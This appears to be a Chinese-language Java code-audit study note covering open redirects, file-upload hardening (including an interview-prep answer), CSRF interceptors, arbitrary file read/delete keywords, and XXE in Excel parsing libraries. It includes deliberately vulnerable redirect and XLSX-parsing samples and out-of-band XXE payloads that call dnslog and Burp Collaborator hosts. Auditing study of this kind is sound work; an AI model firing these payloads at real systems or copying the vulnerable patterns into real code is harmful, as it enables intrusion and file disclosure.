URL重定向

  1. @RequestMapping("/redirect")
  2. public String listUser(HttpServletRequest request,Model model) {
  3. String url = request.getParameter("url");
  4. return "redirect:"+url;
  5. }
  1. private String getRedirectUrl(String path) throws Exception {
  2. HttpURLConnection conn = (HttpURLConnection) new URL(path)
  3. .openConnection();
  4. conn.setInstanceFollowRedirects(false);
  5. conn.setConnectTimeout(5000);
  6. return conn.getHeaderField("Location");
  7. }
  8. }

可以看到关键词比较明显,搜索getHeaderField和redirect或者getRedirectLocations
或者搜索 sendRedirect、setHeader、forward

URL重定不一样的地方

不过URL重定向不应该是只限于代码层面
比如JS,HTML的操作都能进行URL重定向。

文件上传/任意文件写入

文件上传常出现的地方第一个是jar包,第二个是xml配置文件,第三个是spring注解,并且关键字比较明显
Upload
Save()
DiskFileItemFactory
“文件上传”
“保存成功”
String ext
String filename
mkdirs()
saveFile()
write(
bufferedWriter
FileOutputStream
lastindexof
indexof
multipartfile
MultipartHttpServletRequest
randomuuid
FileUpLoad
RandomAccessFile
org.apache.commons.fileupload

以及还有一个比较值得注意的就是解压操作
unzip
AntZipUtils.unzip

大概就这么多吧,后面有遇到会再补充的

(面试问题)杂类漏洞之文件上传修复

面试甲方发现很爱问漏洞怎么修复,包括文件上传,因此做一个应付文件上传回答的答案:
包括字节二面,是个妹子,主要问了项目事情和少量的技术问题,就问到了这个
前提条件:一个普普通通能够上传文件的地方
1、前段限制文件上传的后缀——方便普通的用户来进行使用,并且规范用户使用
2、后端限制文件上传的后缀,做白名单的校验,不要做黑名单,黑名单存在被绕过的可能性以及太多意外的事。
3、可能存在00截断的安全风险,那PHP5.3.4修复了这个问题,那JDK1.7.40之下也存在00截断的风险,
4、以及常见的IIS解析漏洞(版本问题),apache解析漏洞(版本问题),nginx解析漏洞(配置不当)
5、以及存储桶漏洞,很多都爱用云存储来存储图片或资源,那涉及到的可能会是一些存储桶类的漏洞,例如文件覆写,删除,非私有资源列展示,静态文件敏感被下载等问题。
6、文件名的随机化,防止利用文件名来进行DOS,或XSS,以及目录穿越覆盖文件
7、有些后端是对图片文件内容有解析和识别的,那么可能会产生后端XSS漏洞,imagemagic漏洞等
8、具体文件上传后缀的一些特性来确定,例如上传zip,上传XLS,CSV,PDF,都有自己的一些漏洞。
9、文件内容的限制,如果没有对图片或者资源大小做限制,或者限制特别大的话,可能会远超自己的负载能力。
10、针对windows可能还需要进行去除空格防止绕过。

文件名重定向漏洞

java文件重命名没有什么特殊的,基本上就是构造一个renameFile类,然后调用这个工具类来进行文件重命名,基本上就是寻找oldfile,newfile ,oldname,newname这样的参数吧,然后多关注一下NEW FILE实例化的地方。

CSRF漏洞

CSRF对于一般的web应用程序非常常见,因为它对于一些非敏感场景下还是比较鸡肋的。
一般修复CSRF都是直接放一个拦截器
搜索getHeader(“CSRFToken”) getHeader(“Token”)等字段
拦截器配置

  1. <mvc:interceptors> //csrf攻击防御
  2. <mvc:interceptor>
  3. <mvc:mapping path="/**" /> //需拦截的地址
  4. <mvc:exclude-mapping path="/resources/**" /> //需排除拦截的地址
  5. <bean class="com.interceptor.CSRFInterceptor" /> //相关代码类
  6. </mvc:interceptor>
  7. </mvc:interceptors>

spring security自带CSRF防护

任意文件下载/删除/读取

任意文件读取
FileInputStream
FileReader

任意文件下载与任意文件读取差不多,区别就是Response设置了

  1. response.setHeader("content-disposition", "attachment;fileName=" + filename);

任意文件删除
delete()
发现基本上都是用的这个函数

EXCEL和XXE

现代Excel文件实际上只是XML文档的zip文件 ,后缀名为XLSX
XLS是不存在这种漏洞的

java处理该请求的类库
XSSFReader
XSSFWorkbook
1、poi-ooxml-poi-ooxml-3.10-FINAL.jar及以下版本修复——升级poi-ooxml.jar到3.16或以上版本。

  1. public class Test {
  2. public static void main(String[] args) throws IOException {
  3. File f = new File("C:\\Users\\dell\\Desktop\\ALL\\javaidea\\java-excel-xxe\\test.xlsx");
  4. FileInputStream in = new FileInputStream(f);
  5. XSSFWorkbook wb = new XSSFWorkbook(in); // xxe vuln
  6. XSSFSheet sheet = wb.getSheetAt(0);
  7. int total = sheet.getLastRowNum();
  8. for (Row row : sheet){
  9. for (Cell cell :row){
  10. System.out.println(cell.getStringCellValue());
  11. }
  12. System.out.println("expection");
  13. }
  14. }
  15. }

利用
image.png

  1. <?xml version="1.0"?>
  2. <!DOCTYPE ANY[
  3. <!ENTITY % xxe SYSTEM "http://fu0ef4.dnslog.cn">
  4. %xxe;
  5. ]>
  6. 或者是直接用burp
  7. <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://xz09degg7d54jhcvdt3fwad5bwhm5b.burpcollaborator.net"> ]>
  8. <x>&xxe;</x>

2、xlsx-streamer.jar-2.0.0及以下版本

  1. public class Test2 {
  2. public static void main(String[] args) throws FileNotFoundException {
  3. File f = new File("C:\\Users\\dell\\Desktop\\ALL\\javaidea\\java-excel-xxe\\xlsx_streamer_xxe.xlsx");
  4. FileInputStream fileInputStream = new FileInputStream(f);
  5. Workbook workbook = StreamingReader.builder().open(fileInputStream);
  6. Sheet sheet = workbook.getSheetAt(0);
  7. for (Row row : sheet){
  8. for (Cell cell :row){
  9. System.out.println(cell.getStringCellValue());
  10. }
  11. System.out.println("");
  12. }
  13. }
  14. }